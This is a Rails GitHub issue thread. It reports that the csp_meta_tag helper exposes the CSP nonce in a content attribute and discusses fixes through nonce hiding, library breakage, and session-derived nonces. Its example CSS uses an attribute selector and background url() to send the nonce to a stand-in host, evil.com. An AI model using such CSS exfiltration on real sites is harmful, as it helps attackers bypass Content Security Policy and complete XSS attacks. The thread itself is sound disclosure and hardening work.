rails
rails copied to clipboard
`csp_meta_tag` helper generates a meta tag w/o out making use of the nonce hiding which could lead to nonce value exfiltration of nonce data
Previously reported via Hackerone, reference #2432937 - Was asked by @tenderlove to create an issue here.
@tvongaza thanks for reporting this! I'm also not clear on how one would go about exploiting / using this information. However, I definitely agree we should fix the attribute name in the meta tag. Would you mind filing an issue in the public tracker, and we can fix it there? Thank you!
Steps to reproduce
The rails csp_meta_tag helper generates meta tag with a content
attribute which in theory can have it's nonce value exfiltrated.
Example:
<%= csp_meta_tag %>
Generates:
<meta name="csp-nonce" content="f7505009ff5f468269b583653293acb5">
Which an attacker could access via carefully crafted css such as:
meta[content~="f7505009ff5f468269b583653293acb5"] {
background: url("https://evil.com/nonce?f7505009ff5f468269b583653293acb5");
}
While I'm not too sure how this type of attack vector could be exploited, or used (have no working exploit), there seems to be ways to curb it via using the nonce
attribute instead of the content
attribute for the nonce value, which in most browser has nonce hiding behaviour.
Example, if we instead generated a meta tag like this:
<meta name="csp-nonce" nonce="f7505009ff5f468269b583653293acb5">
It the following would no longer work, as the only way to access the nonce value is via element.nonce
property.
/* this fails, as in css nonce will always return an empty string */
meta[nonce~="f7505009ff5f468269b583653293acb5"] {
background: url("https://evil.com/nonce?f7505009ff5f468269b583653293acb5");
}
document.querySelector('meta[name="csp-nonce"]').getAttribute("nonce"); // returns an empty string
document.querySelector('meta[name="csp-nonce"]').nonce; // returns "f7505009ff5f468269b583653293acb5"
More information: https://github.com/whatwg/html/issues/2369 https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce#accessing_nonces_and_nonce_hiding
Note this would be a breaking change for libraries making use of the csp_meta_tag
's content attributes. Examples include (but not limited to):
- Turbo: https://github.com/hotwired/turbo/blob/600203edf6a7fdba328bfbc9ca8c62354c7d3a27/src/util.js#L171 (& hotwire turbo in rails guides https://github.com/rails/rails/blob/main/guides/assets/javascripts/%40hotwired--turbo.js#L322)
- Trix: https://github.com/basecamp/trix/blob/968cedaa989e3feb120fd500abb92e382d980dc7/src/trix/core/helpers/custom_elements.js#L23 (& included asset: https://github.com/rails/rails/blob/main/actiontext/app/assets/javascripts/trix.js#L1038)
- Rails UJS: https://github.com/rails/rails/blob/main/actionview/app/assets/javascripts/rails-ujs.js#L27 & https://github.com/rails/rails/blob/main/actionview/app/assets/javascripts/rails-ujs.esm.js#L33
Impact
Low, not too sure what sort of attack vectors this achieves - others more familiar in this space may be more aware. However if there is an opportunity to have defence in depth we should take it.
Expected behavior
Nonce value exfiltration should be protected against.
Actual behavior
Nonce value exfiltration is possible.
System configuration
Rails version: HEAD as of April 16, 2024 (commit 1428ef984e8be2e301c562c01b34f8d8c90bd4cf)
Ruby version: 3.3
I think we should make this change, but I'm not sure what the impact is on existing JS libraries. We're going to have to coordinate fixing Rails along with the corresponding JS libraries. If someone wants to handle that work, I'd really appreciate it!
While I'm not too sure how this type of attack vector could be exploited, or used (have no working exploit)
I think this is dependant on whether the nonce is random per request or not. The W3C Content Security Policy standard says it must be:
Nonces override the other restrictions present in the directive in which they’re delivered. It is critical, then, that they remain unguessable, as bypassing a resource’s policy is otherwise trivial. If a server delivers a nonce-source expression as part of a policy, the server MUST generate a unique value each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and SHOULD be generated via a cryptographically secure random number generator in order to ensure that the value is difficult for an attacker to predict.
Since https://github.com/rails/rails/pull/43227 generated app initializers and Rails guide recommended to use the session identifier so it plays more nicely with caching. To my understanding of the issue: if this advice is followed and the app is vulnerable to XSS, the exfiltrated nonce can be used to bypass the CSP and complete the XSS attack.
Abusing the nonce to not be a 'number used once' in this way seems to be using the wrong part of CSP for solving the issue with caching. CSP can also allows script using hashes. This web.dev article calls hashes out explicitly for being the appropriate solution for cached pages.
The proposed fix to prevent exfiltration is called out in the CSP standard (linking to https://html.spec.whatwg.org/multipage/urls-and-fetching.html#nonce-attributes) so to that seems to be a good idea regardless of CSP hash support in Rails.
This issue has been automatically marked as stale because it has not been commented on for at least three months.
The resources of the Rails team are limited, and so we are asking for your help.
If you can still reproduce this error on the 7-2-stable
branch or on main
, please reply with all of the information you have about it in order to keep the issue open.
Thank you for all your contributions.